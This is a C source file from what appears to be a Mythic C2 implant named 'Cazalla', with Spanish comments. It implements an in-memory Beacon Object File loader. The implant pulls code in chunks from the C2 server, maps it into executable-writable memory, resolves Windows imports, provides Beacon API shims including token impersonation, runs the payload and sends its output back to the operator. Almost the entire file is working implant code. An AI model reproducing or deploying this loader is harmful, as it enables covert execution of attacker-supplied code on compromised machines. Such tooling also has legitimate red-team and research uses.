#include "cazalla.h"
#include "inline_execute.h"
#include "comandos.h"
#include "paquete.h"
#include "SistemadeFicheros.h"
#include "utils.h"
#include <string.h>
#include <stdarg.h>
#include <stdio.h>
#include <stdlib.h>

/*
 * Beacon Compatibility Layer - Simple output buffering for BOFs
 * These functions are called by BOFs and capture their output
 */
static char* beacon_output_buffer = NULL;
static int beacon_output_size = 0;
static int beacon_output_offset = 0;

// BeaconPrintf - Capture formatted output from BOFs
void BeaconPrintf(int type, char* fmt, ...) {
    va_list args;
    int length = 0;
    char* tempptr = NULL;
    
    va_start(args, fmt);
    length = vsnprintf(NULL, 0, fmt, args);
    va_end(args);
    
    if (length <= 0) return;
    
    tempptr = (char*)realloc(beacon_output_buffer, beacon_output_size + length + 1);
    if (tempptr == NULL) {
        _err("[BeaconPrintf] Error reasignando memoria");
        return;
    }
    beacon_output_buffer = tempptr;
    memset(beacon_output_buffer + beacon_output_offset, 0, length + 1);
    
    va_start(args, fmt);
    length = vsnprintf(beacon_output_buffer + beacon_output_offset, length + 1, fmt, args);
    beacon_output_size += length;
    beacon_output_offset += length;
    va_end(args);
    
    _inf("[BeaconPrintf] Output capturado: %d bytes, total buffer: %d bytes", length, beacon_output_size);
}

// BeaconOutput - Capture raw output from BOFs
void BeaconOutput(int type, char* data, int len) {
    char* tempptr = NULL;
    if (!data || len <= 0) return;
    
    tempptr = (char*)realloc(beacon_output_buffer, beacon_output_size + len + 1);
    if (tempptr == NULL) {
        _err("[BeaconOutput] Error reasignando memoria");
        return;
    }
    beacon_output_buffer = tempptr;
    memset(beacon_output_buffer + beacon_output_offset, 0, len + 1);
    memcpy(beacon_output_buffer + beacon_output_offset, data, len);
    beacon_output_size += len;
    beacon_output_offset += len;
    
    _inf("[BeaconOutput] Output capturado: %d bytes, total buffer: %d bytes", len, beacon_output_size);
}

// BeaconGetOutputData - Get captured output (caller must free)
char* BeaconGetOutputData(int* outsize) {
    char* outdata = beacon_output_buffer;
    *outsize = beacon_output_size;
    beacon_output_buffer = NULL;
    beacon_output_size = 0;
    beacon_output_offset = 0;
    return outdata;
}

// BeaconDataParse - Parse data structure for BOFs
typedef struct {
    char* original;
    char* buffer;
    int length;
    int size;
} datap;

void BeaconDataParse(datap* parser, char* buffer, int size) {
    if (parser == NULL) return;
    parser->original = buffer;
    parser->buffer = buffer;
    parser->length = size - 4;
    parser->size = size - 4;
    parser->buffer += 4;
}

int BeaconDataInt(datap* parser) {
    int32_t fourbyteint = 0;
    if (parser->length < 4) return 0;
    memcpy(&fourbyteint, parser->buffer, 4);
    parser->buffer += 4;
    parser->length -= 4;
    return (int)fourbyteint;
}

short BeaconDataShort(datap* parser) {
    int16_t retvalue = 0;
    if (parser->length < 2) return 0;
    memcpy(&retvalue, parser->buffer, 2);
    parser->buffer += 2;
    parser->length -= 2;
    return (short)retvalue;
}

int BeaconDataLength(datap* parser) {
    return parser->length;
}

char* BeaconDataExtract(datap* parser, int* size) {
    UINT32 length = 0;
    char* outdata = NULL;
    if (parser->length < 4) return NULL;
    memcpy(&length, parser->buffer, 4);
    parser->buffer += 4;
    outdata = parser->buffer;
    if (outdata == NULL) return NULL;
    parser->length -= 4;
    parser->length -= length;
    parser->buffer += length;
    if (size != NULL && outdata != NULL) {
        *size = length;
    }
    return outdata;
}

// Token functions (using Windows APIs directly)
BOOL BeaconUseToken(HANDLE token) {
    return SetThreadToken(NULL, token);
}

void BeaconRevertToken(void) {
    RevertToSelf();
}

BOOL BeaconIsAdmin(void) {
    // Basic implementation - can be enhanced
    return FALSE;
}

/*
 * GetFileBytesFromMythic - Fetch a file from Mythic server using file_id
 * Adapted from Cazalla's upload mechanism
 */
DWORD GetFileBytesFromMythic(PCHAR taskUuid, PCHAR fileId, PBOF_UPLOAD bof) {
#define CHUNK_SIZE 512000  // 512 KB
    
    _inf("[inline_execute] Obteniendo archivo BOF de Mythic: %.*s", 36, fileId);
    
    DWORD status = 0;
    PBYTE dataBuffer = NULL;
    SIZE_T bytesAvailable = 0;
    SIZE_T totalBytesRead = 0;
    UINT32 currentChunk = 1;
    UINT32 totalChunks = 0;
    
    // Initialize BOF structure
    memset(bof, 0, sizeof(BOF_UPLOAD));
    strncpy(bof->fileUuid, fileId, 36);
    bof->fileUuid[36] = '\0';
    bof->currentChunk = 1;
    
    dataBuffer = (PBYTE)LocalAlloc(LPTR, CHUNK_SIZE);
    if (!dataBuffer) {
        _err("[inline_execute] Error alocar memoria para buffer");
        return GetLastError();
    }
    bytesAvailable = CHUNK_SIZE;
    
    do {
        // Create upload request
        PPaquete requestPaquete = nuevoPaquete(POST_RESPONSE, TRUE);
        addString(requestPaquete, taskUuid, FALSE);
        
        // Add empty output (required for upload request format, same as upload command)
        addInt32(requestPaquete, 0);
        
        // Add upload request marker and data
        addUploadRequest(requestPaquete, fileId, CHUNK_SIZE, currentChunk, "temp_bof");
        
        // Send request and get response
        PAnalizador respuesta = mandarPaquete(requestPaquete);
        liberarPaquete(requestPaquete);
        
        if (!respuesta) {
            _err("[inline_execute] No se recibió respuesta para chunk %u", currentChunk);
            status = 1;
            goto cleanup;
        }
        
        // Debug: log response size
        _dbg("[inline_execute] Respuesta recibida para chunk %u: %zu bytes", currentChunk, respuesta->tamano);
        
        // Extract upload response (same format as upload command)
        // Look for 0xF9 marker
        PBYTE buffer = respuesta->buffer;
        SIZE_T len = respuesta->tamano;
        BOOL found = FALSE;
        
        // Debug: log first few bytes to see what we're getting
        if (len > 0) {
            _dbg("[inline_execute] Primeros bytes de respuesta: 0x%02X 0x%02X 0x%02X 0x%02X", 
                 len > 0 ? buffer[0] : 0,
                 len > 1 ? buffer[1] : 0,
                 len > 2 ? buffer[2] : 0,
                 len > 3 ? buffer[3] : 0);
        }
        
        for (SIZE_T i = 0; i < len - 13; i++) {
            if (buffer[i] == 0xF9) {
                i++;
                // Extract total_chunks
                if (i + 4 > len) break;
                totalChunks = (buffer[i] << 24) | (buffer[i+1] << 16) | (buffer[i+2] << 8) | buffer[i+3];
                i += 4;
                
                // Extract chunk_num
                if (i + 4 > len) break;
                UINT32 chunkNum = (buffer[i] << 24) | (buffer[i+1] << 16) | (buffer[i+2] << 8) | buffer[i+3];
                i += 4;
                
                // Extract chunk_data length
                if (i + 4 > len) break;
                UINT32 chunkDataLen = (buffer[i] << 24) | (buffer[i+1] << 16) | (buffer[i+2] << 8) | buffer[i+3];
                i += 4;
                
                if (chunkDataLen == 0 || chunkDataLen > 1024 * 1024 || i + chunkDataLen > len) {
                    break;
                }
                
                // Decode base64 chunk data
                PCHAR chunkDataB64 = (PCHAR)LocalAlloc(LPTR, chunkDataLen + 1);
                if (!chunkDataB64) {
                    liberarAnalizador(respuesta);
                    status = GetLastError();
                    goto cleanup;
                }
                memcpy(chunkDataB64, buffer + i, chunkDataLen);
                chunkDataB64[chunkDataLen] = '\0';
                
                // Decode base64
                PBYTE decodedData = NULL;
                SIZE_T decodedLen = 0;
                if (!base64_decode(chunkDataB64, &decodedData, &decodedLen)) {
                    _err("[inline_execute] Error decodificando base64 para chunk %u", currentChunk);
                    LocalFree(chunkDataB64);
                    liberarAnalizador(respuesta);
                    status = 1;
                    goto cleanup;
                }
                
                // Reallocate buffer if needed
                if (totalBytesRead + decodedLen > bytesAvailable) {
                    bytesAvailable = totalBytesRead + decodedLen;
                    dataBuffer = (PBYTE)LocalReAlloc(dataBuffer, bytesAvailable, LMEM_MOVEABLE | LMEM_ZEROINIT);
                    if (!dataBuffer) {
                        _err("[inline_execute] Error reasignando memoria");
                        LocalFree(chunkDataB64);
                        LocalFree(decodedData);
                        liberarAnalizador(respuesta);
                        status = GetLastError();
                        goto cleanup;
                    }
                }
                
                // Copy chunk to buffer
                memcpy(dataBuffer + totalBytesRead, decodedData, decodedLen);
                totalBytesRead += decodedLen;
                
                LocalFree(chunkDataB64);
                LocalFree(decodedData);
                found = TRUE;
                break;
            }
        }
        
        if (!found) {
            _err("[inline_execute] No se encontró respuesta de upload para chunk %u", currentChunk);
            liberarAnalizador(respuesta);
            status = 1;
            goto cleanup;
        }
        
        liberarAnalizador(respuesta);
        currentChunk++;
        
    } while (currentChunk <= totalChunks);
    
    bof->buffer = dataBuffer;
    bof->size = totalBytesRead;
    bof->totalChunks = totalChunks;
    
    _inf("[inline_execute] Archivo BOF obtenido: %zu bytes, %u chunks", totalBytesRead, totalChunks);
    return 0;
    
cleanup:
    if (dataBuffer) {
        LocalFree(dataBuffer);
    }
    return status;
}

/*
 * InternalFunctionMatch - Check if symbol is an internal Beacon function
 */
static BOOL InternalFunctionMatch(char* StrippedSymbolName) {
    if (STR_EQUALS(StrippedSymbolName, "Beacon")  ||
        STR_EQUALS(StrippedSymbolName, "GetProcAddress") ||
        STR_EQUALS(StrippedSymbolName, "GetModuleHandleA") ||
        STR_EQUALS(StrippedSymbolName, "toWideChar") ||
        STR_EQUALS(StrippedSymbolName, "LoadLibraryA") ||
        STR_EQUALS(StrippedSymbolName, "FreeLibrary"))
    {
        return TRUE;
    }
    return FALSE;
}

/*
 * ProcessBeaconSymbols - Resolve Beacon API symbols
 */
static void* ProcessBeaconSymbols(char* SymbolName, BOOL* InternalFunction) {
    void* functionaddress = NULL;
    char localSymbolNameCopy[1024] = { 0 };
    *InternalFunction = FALSE;
    char* locallib = NULL;
    char* localfunc = SymbolName + sizeof(PREPENDSYMBOLVALUE) - 1;
    HMODULE llHandle = NULL;
    char* context = NULL;
    
    strncpy_s(localSymbolNameCopy, sizeof(localSymbolNameCopy), SymbolName, sizeof(localSymbolNameCopy) - 1);
    
    // Hash-based function resolution for internal functions
    // For now, we'll use direct function resolution
    if (InternalFunctionMatch(SymbolName + sizeof(PREPENDSYMBOLVALUE) - 1)) {
        *InternalFunction = TRUE;
        localfunc = SymbolName + strlen(PREPENDSYMBOLVALUE);
        UINT32 hash = custom_hash(localfunc);
        
        // Map common Beacon functions by hash
        UINT32 funcHash = hash;
        if (funcHash == custom_hash("BeaconDataParse")) {
            return (void*)BeaconDataParse;
        } else if (funcHash == custom_hash("BeaconPrintf")) {
            return (void*)BeaconPrintf;
        } else if (funcHash == custom_hash("BeaconOutput")) {
            return (void*)BeaconOutput;
        } else if (funcHash == custom_hash("GetProcAddress")) {
            return (void*)GetProcAddress;
        } else if (funcHash == custom_hash("GetModuleHandleA")) {
            return (void*)GetModuleHandleA;
        } else if (funcHash == custom_hash("LoadLibraryA")) {
            return (void*)LoadLibraryA;
        } else if (funcHash == custom_hash("FreeLibrary")) {
            return (void*)FreeLibrary;
        } else if (funcHash == custom_hash("BeaconUseToken")) {
            return (void*)BeaconUseToken;
        } else if (funcHash == custom_hash("BeaconRevertToken")) {
            return (void*)BeaconRevertToken;
        } else if (funcHash == custom_hash("BeaconIsAdmin")) {
            return (void*)BeaconIsAdmin;
        }
    } else {
        // External symbol - parse library$function format
        locallib = strtok_s(localSymbolNameCopy + sizeof(PREPENDSYMBOLVALUE) - 1, "$", &context);
        if (locallib) {
            llHandle = LoadLibraryA(locallib);
            localfunc = strtok_s(NULL, "$", &context);
            if (localfunc) {
                localfunc = strtok_s(localfunc, "@", &context);
                functionaddress = GetProcAddress(llHandle, localfunc);
            }
        }
    }
    
    return functionaddress;
}

/*
 * ExecuteEntry - Execute the BOF entry point
 */
static BOOL ExecuteEntry(COFF_t* COFF, char* func, char* args, unsigned long argSize) {
    VOID(*foo)(char* in, UINT32 datalen) = NULL;
    
    if (!func || !COFF->FileBase) {
        _err("[inline_execute] No entry point provided");
        return FALSE;
    }
    
    for (UINT32 counter = 0; counter < COFF->FileHeader->NumberOfSymbols; counter++) {
        if (strcmp(COFF->SymbolTable[counter].first.Name, func) == 0) {
            foo = (void(*)(char*, UINT32))((char*)COFF->RawTextData + COFF->SymbolTable[counter].Value);
            _dbg("[inline_execute] Entry point encontrado: 0x%p", foo);
            break;
        }
    }
    
    if (!foo) {
        _err("[inline_execute] No se pudo encontrar entry point '%s'", func);
        return FALSE;
    }
    
    // Execute the BOF
    foo((char*)args, (UINT32)argSize);
    return TRUE;
}

/*
 * RelocationTypeParse - Parse and apply COFF relocations
 */
static void RelocationTypeParse(COFF_t* COFF, void** SectionMapped, int SectionNumber, BOOL* InternalFunction, void* FunctionAddrPTR, char* FunctionMapping) {
    UINT32 offsetAddr = 0;
    UINT64 longOffsetAddr = 0;
    unsigned int Type = COFF->Relocation->Type;
    
    if (Type == IMAGE_REL_AMD64_ADDR64) {
        memcpy(&longOffsetAddr, (char*)SectionMapped[SectionNumber] + COFF->Relocation->VirtualAddress, sizeof(UINT64));
        longOffsetAddr = (UINT64)((char*)SectionMapped[COFF->SymbolTable[COFF->Relocation->SymbolTableIndex].SectionNumber - 1] + (UINT64)longOffsetAddr);
        longOffsetAddr += COFF->SymbolTable[COFF->Relocation->SymbolTableIndex].Value;
        memcpy((char*)SectionMapped[SectionNumber] + COFF->Relocation->VirtualAddress, &longOffsetAddr, sizeof(UINT64));
    }
    else if (COFF->Relocation->Type == IMAGE_REL_AMD64_ADDR32NB) {
        memcpy(&offsetAddr, (char*)SectionMapped[SectionNumber] + COFF->Relocation->VirtualAddress, sizeof(INT32));
        offsetAddr = ((char*)((char*)SectionMapped[COFF->SymbolTable[COFF->Relocation->SymbolTableIndex].SectionNumber - 1] + offsetAddr) - ((char*)SectionMapped[SectionNumber] + COFF->Relocation->VirtualAddress + 4));
        offsetAddr += COFF->SymbolTable[COFF->Relocation->SymbolTableIndex].Value;
        memcpy((char*)SectionMapped[SectionNumber] + COFF->Relocation->VirtualAddress, &offsetAddr, sizeof(UINT32));
    }
    else if (Type == IMAGE_REL_AMD64_REL32) {
        if (FunctionAddrPTR != NULL) {
            memcpy(FunctionMapping + (COFF->FunctionMappingCount * 8), &FunctionAddrPTR, sizeof(UINT64));
            offsetAddr = (INT32)((FunctionMapping + (COFF->FunctionMappingCount * 8)) - ((char*)SectionMapped[SectionNumber] + COFF->Relocation->VirtualAddress + 4));
            offsetAddr += COFF->SymbolTable[COFF->Relocation->SymbolTableIndex].Value;
            memcpy((char*)SectionMapped[SectionNumber] + COFF->Relocation->VirtualAddress, &offsetAddr, sizeof(UINT32));
            *InternalFunction = FALSE;
            COFF->FunctionMappingCount++;
        }
        else {
            memcpy(&offsetAddr, (void*)((char*)SectionMapped[SectionNumber] + COFF->Relocation->VirtualAddress), sizeof(UINT32));
            offsetAddr += (UINT32)((char*)SectionMapped[COFF->SymbolTable[COFF->Relocation->SymbolTableIndex].SectionNumber - 1] - ((char*)SectionMapped[SectionNumber] + COFF->Relocation->VirtualAddress + 4));
            offsetAddr += COFF->SymbolTable[COFF->Relocation->SymbolTableIndex].Value;
            memcpy((char*)SectionMapped[SectionNumber] + COFF->Relocation->VirtualAddress, &offsetAddr, sizeof(UINT32));
        }
    }
}

/*
 * RunCOFF - Load and execute a COFF file
 * Adapted from Xenon's COFF loader
 */
BOOL RunCOFF(char* FileData, DWORD* DataSize, char* EntryName, char* argumentdata, unsigned long argumentsize) {
    COFF_t COFF;
    COFF.FileBase = FileData;
    COFF.FileHeader = (FileHeader_t*)COFF.FileBase;
    COFF.SymbolTable = (Symbol_t*)(COFF.FileBase + COFF.FileHeader->PointerToSymbolTable);
    COFF.FunctionMappingCount = 0;
    COFF.RelocationsCount = 0;
    
    char* functionMapping = NULL;
    void** sectionMapped = (void**)calloc(sizeof(char*) * (COFF.FileHeader->NumberOfSections + 1), 1);
    
    if ((int)COFF.FileHeader->Machine != IMAGE_FILE_MACHINE_AMD64) {
        _err("[inline_execute] COFF no soportado: Machine=0x%04X (solo AMD64 soportado)", COFF.FileHeader->Machine);
        free(sectionMapped);
        return FALSE;
    }
    
    // Allocate and map sections
    for (BYTE i = 0; i < COFF.FileHeader->NumberOfSections; i++) {
        Section_t* section = (Section_t*)(COFF.FileBase + sizeof(FileHeader_t) + (i * sizeof(Section_t)));
        
        sectionMapped[i] = (char*)VirtualAlloc(NULL, section->SizeOfRawData, MEM_COMMIT | MEM_RESERVE | MEM_TOP_DOWN, PAGE_EXECUTE_READWRITE);
        
        if (section->PointerToRawData != 0) {
            memcpy(sectionMapped[i], COFF.FileBase + section->PointerToRawData, section->SizeOfRawData);
        }
        else {
            memset(sectionMapped[i], 0, section->SizeOfRawData);
        }
        
        if (!strcmp(section->Name, ".text")) {
            COFF.RawTextData = sectionMapped[i];
        }
        
        COFF.RelocationsCount += section->NumberOfRelocations;
    }
    
    // Allocate function mapping
    functionMapping = (char*)VirtualAlloc(NULL, COFF.RelocationsCount * 8, MEM_COMMIT | MEM_RESERVE | MEM_TOP_DOWN, PAGE_EXECUTE_READWRITE);
    
    // Process relocations
    for (int s = 0; s < COFF.FileHeader->NumberOfSections; s++) {
        Section_t* section = (Section_t*)(COFF.FileBase + sizeof(FileHeader_t) + (s * sizeof(Section_t)));
        COFF.RelocationsTextPTR = COFF.FileBase + section->PointerToRelocations;
        
        for (int i = 0; i < section->NumberOfRelocations; i++) {
            UINT32 symbolOffset = 0;
            void* funcptrlocation = NULL;
            COFF.Relocation = (Relocation_t*)(COFF.RelocationsTextPTR + (i * sizeof(Relocation_t)));
            
            symbolOffset = COFF.SymbolTable[COFF.Relocation->SymbolTableIndex].first.value[1];
            
            if (COFF.SymbolTable[COFF.Relocation->SymbolTableIndex].first.Name[0] != 0) {
                BOOL internalFunc = FALSE;
                RelocationTypeParse(&COFF, sectionMapped, s, &internalFunc, NULL, NULL);
            }
            else {
                BOOL internalFunctionCheck = FALSE;
                funcptrlocation = ProcessBeaconSymbols(((char*)(COFF.SymbolTable + COFF.FileHeader->NumberOfSymbols)) + symbolOffset, &internalFunctionCheck);
                if (funcptrlocation == NULL && COFF.SymbolTable[COFF.Relocation->SymbolTableIndex].SectionNumber == 0) {
                    _wrn("[inline_execute] No se pudo resolver símbolo");
                }
                
                RelocationTypeParse(&COFF, sectionMapped, s, &internalFunctionCheck, funcptrlocation, functionMapping);
            }
        }
    }
    
    // Execute the BOF
    if (!ExecuteEntry(&COFF, EntryName, argumentdata, argumentsize)) {
        _err("[inline_execute] Error ejecutando entry point");
        // Cleanup
        for (BYTE i = 0; i < COFF.FileHeader->NumberOfSections; i++) {
            if (sectionMapped[i] != NULL) {
                VirtualFree(sectionMapped[i], 0, MEM_RELEASE);
            }
        }
        free(sectionMapped);
        if (functionMapping) VirtualFree(functionMapping, 0, MEM_RELEASE);
        return FALSE;
    }
    
    // Cleanup
    for (BYTE i = 0; i < COFF.FileHeader->NumberOfSections; i++) {
        if (sectionMapped[i] != NULL) {
            VirtualFree(sectionMapped[i], 0, MEM_RELEASE);
        }
    }
    free(sectionMapped);
    if (functionMapping) VirtualFree(functionMapping, 0, MEM_RELEASE);
    
    return TRUE;
}

/*
 * ParseBOFArguments - Parse BOF arguments from JSON string
 * Returns packed arguments buffer and size
 */
static BOOL ParseBOFArguments(PCHAR argsJson, SIZE_T argsJsonLen, PBYTE* outBuffer, SIZE_T* outSize) {
    // For now, we'll pass the JSON string directly
    // A full implementation would parse the JSON and pack arguments according to type
    *outBuffer = (PBYTE)LocalAlloc(LPTR, argsJsonLen);
    if (!*outBuffer) {
        return FALSE;
    }
    memcpy(*outBuffer, argsJson, argsJsonLen);
    *outSize = argsJsonLen;
    return TRUE;
}

/*
 * InlineExecuteHandler - Main handler for inline_execute command
 */
VOID InlineExecuteHandler(PAnalizador argumentos) {
    _inf("===== InlineExecuteHandler INICIO =====");
    
    // Read task UUID
    SIZE_T uuidLen = 36;
    PCHAR taskUuid = getString(argumentos, &uuidLen);
    if (!taskUuid || uuidLen != 36) {
        _err("InlineExecuteHandler: Error leyendo UUID (len=%zu)", uuidLen);
        if (argumentos) liberarAnalizador(argumentos);
        return;
    }
    
    // Read file_id
    SIZE_T fileIdLen = 0;
    PCHAR fileId = getString(argumentos, &fileIdLen);
    if (!fileId || fileIdLen == 0) {
        _err("InlineExecuteHandler: Error leyendo file_id");
        if (argumentos) liberarAnalizador(argumentos);
        return;
    }
    
    // Read arguments (JSON string)
    SIZE_T argsLen = 0;
    PCHAR argsJson = getString(argumentos, &argsLen);
    
    _dbg("InlineExecuteHandler: taskUuid=%.*s, fileId=%.*s, argsLen=%zu", 
         36, taskUuid, (int)fileIdLen, fileId, argsLen);
    
    // Create response package
    PPaquete respuesta = nuevoPaquete(POST_RESPONSE, TRUE);
    addString(respuesta, taskUuid, FALSE);
    
    // Create output package
    PPaquete salida = nuevoPaquete(0, FALSE);
    
    // Fetch BOF file from Mythic
    BOF_UPLOAD bof = {0};
    DWORD status = GetFileBytesFromMythic(taskUuid, fileId, &bof);
    if (status != 0) {
        _err("[inline_execute] Error obteniendo archivo BOF de Mythic: %lu", status);
        PackageAddFormatPrintf(salida, FALSE, "[inline_execute] Error: No se pudo obtener el archivo BOF de Mythic (error: %lu)\n", status);
        addBytes(respuesta, (PBYTE)salida->buffer, salida->length, TRUE);
        Analizador* respuestaAnalizador = mandarPaquete(respuesta);
        liberarPaquete(salida);
        liberarPaquete(respuesta);
        if (respuestaAnalizador) liberarAnalizador(respuestaAnalizador);
        if (argumentos) liberarAnalizador(argumentos);
        return;
    }
    
    // Parse BOF arguments
    PBYTE bofArgs = NULL;
    SIZE_T bofArgsSize = 0;
    if (argsJson && argsLen > 0) {
        if (!ParseBOFArguments(argsJson, argsLen, &bofArgs, &bofArgsSize)) {
            _err("[inline_execute] Error parseando argumentos BOF");
            PackageAddFormatPrintf(salida, FALSE, "[inline_execute] Error: No se pudieron parsear los argumentos\n");
        }
    }
    
    // Clear output buffer before executing BOF
    if (beacon_output_buffer) {
        free(beacon_output_buffer);
        beacon_output_buffer = NULL;
    }
    beacon_output_size = 0;
    beacon_output_offset = 0;
    _inf("[inline_execute] Buffer de output limpiado antes de ejecutar BOF");
    
    // Execute the BOF
    DWORD fileSize = (DWORD)bof.size;
    _inf("[inline_execute] Ejecutando BOF: size=%lu bytes, entry=go", fileSize);
    if (!RunCOFF((char*)bof.buffer, &fileSize, "go", (char*)bofArgs, bofArgsSize)) {
        _err("[inline_execute] Error ejecutando BOF");
        PackageAddFormatPrintf(salida, FALSE, "[inline_execute] Error: No se pudo ejecutar el BOF\n");
    } else {
        _inf("[inline_execute] BOF ejecutado exitosamente, capturando output...");
        // Get output from Beacon compatibility layer
        int outdataSize = 0;
        PCHAR outdata = BeaconGetOutputData(&outdataSize);
        _inf("[inline_execute] Output capturado: size=%d, ptr=%p", outdataSize, outdata);
        if (outdata && outdataSize > 0) {
            _inf("[inline_execute] Agregando output al paquete: %d bytes", outdataSize);
            // Debug: log first 200 bytes of output
            int logLen = (outdataSize > 200) ? 200 : outdataSize;
            _inf("[inline_execute] Primeros %d bytes del output: %.*s", logLen, logLen, outdata);
            addBytes(salida, (PBYTE)outdata, outdataSize, TRUE);
            free(outdata);
        } else {
            _inf("[inline_execute] No hay output del BOF (outdataSize=%d)", outdataSize);
            PackageAddFormatPrintf(salida, FALSE, "[inline_execute] BOF ejecutado exitosamente (sin output)\n");
        }
    }
    
    _inf("[inline_execute] Tamaño del paquete salida antes de agregar a respuesta: %zu bytes", salida->length);
    
    // Add output to response FIRST (before artifacts)
    // Format must be: [UUID_tarea][output_len][output][marcadores...]
    _inf("[inline_execute] Agregando output a respuesta: %zu bytes", salida->length);
    addBytes(respuesta, (PBYTE)salida->buffer, salida->length, TRUE);
    
    // Add Process Create artifact AFTER output
    // BOF execution creates process artifacts
    char artifact_buf[512];
    if (argsJson && argsLen > 0) {
        snprintf(artifact_buf, sizeof(artifact_buf), "BOF execution: file_id=%.*s, args=%.*s", 
                 (int)fileIdLen, fileId, (int)(argsLen > 100 ? 100 : argsLen), argsJson);
    } else {
        snprintf(artifact_buf, sizeof(artifact_buf), "BOF execution: file_id=%.*s", (int)fileIdLen, fileId);
    }
    addArtifact(respuesta, "Process Create", artifact_buf);
    
    _inf("[inline_execute] Tamaño del paquete respuesta antes de enviar: %zu bytes", respuesta->length);
    
    // Send response
    Analizador* respuestaAnalizador = mandarPaquete(respuesta);
    liberarPaquete(salida);
    liberarPaquete(respuesta);
    if (respuestaAnalizador) liberarAnalizador(respuestaAnalizador);
    
    // Cleanup
    if (bof.buffer) LocalFree(bof.buffer);
    if (bofArgs) LocalFree(bofArgs);
    if (argumentos) liberarAnalizador(argumentos);
    
    _inf("===== InlineExecuteHandler FIN =====");
}
